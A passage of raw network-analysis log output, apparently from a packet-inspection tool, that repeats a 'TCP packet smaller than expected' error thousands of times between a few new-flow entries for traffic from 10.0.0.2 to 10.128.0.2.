than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....24] [ip4][..tcp] [.......10.0.0.2][24136] -> [.....10.128.0.2][16967] [MIDSTREAM] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....25] [ip4][..tcp] [.......10.0.0.2][29799] -> [.....10.128.0.2][26228] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected new: [....26] [ip4][..tcp] [.......10.0.0.2][.9251] -> [.....10.128.0.2][.9770] - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet smaller than expected - ERROR-EVENT: TCP packet 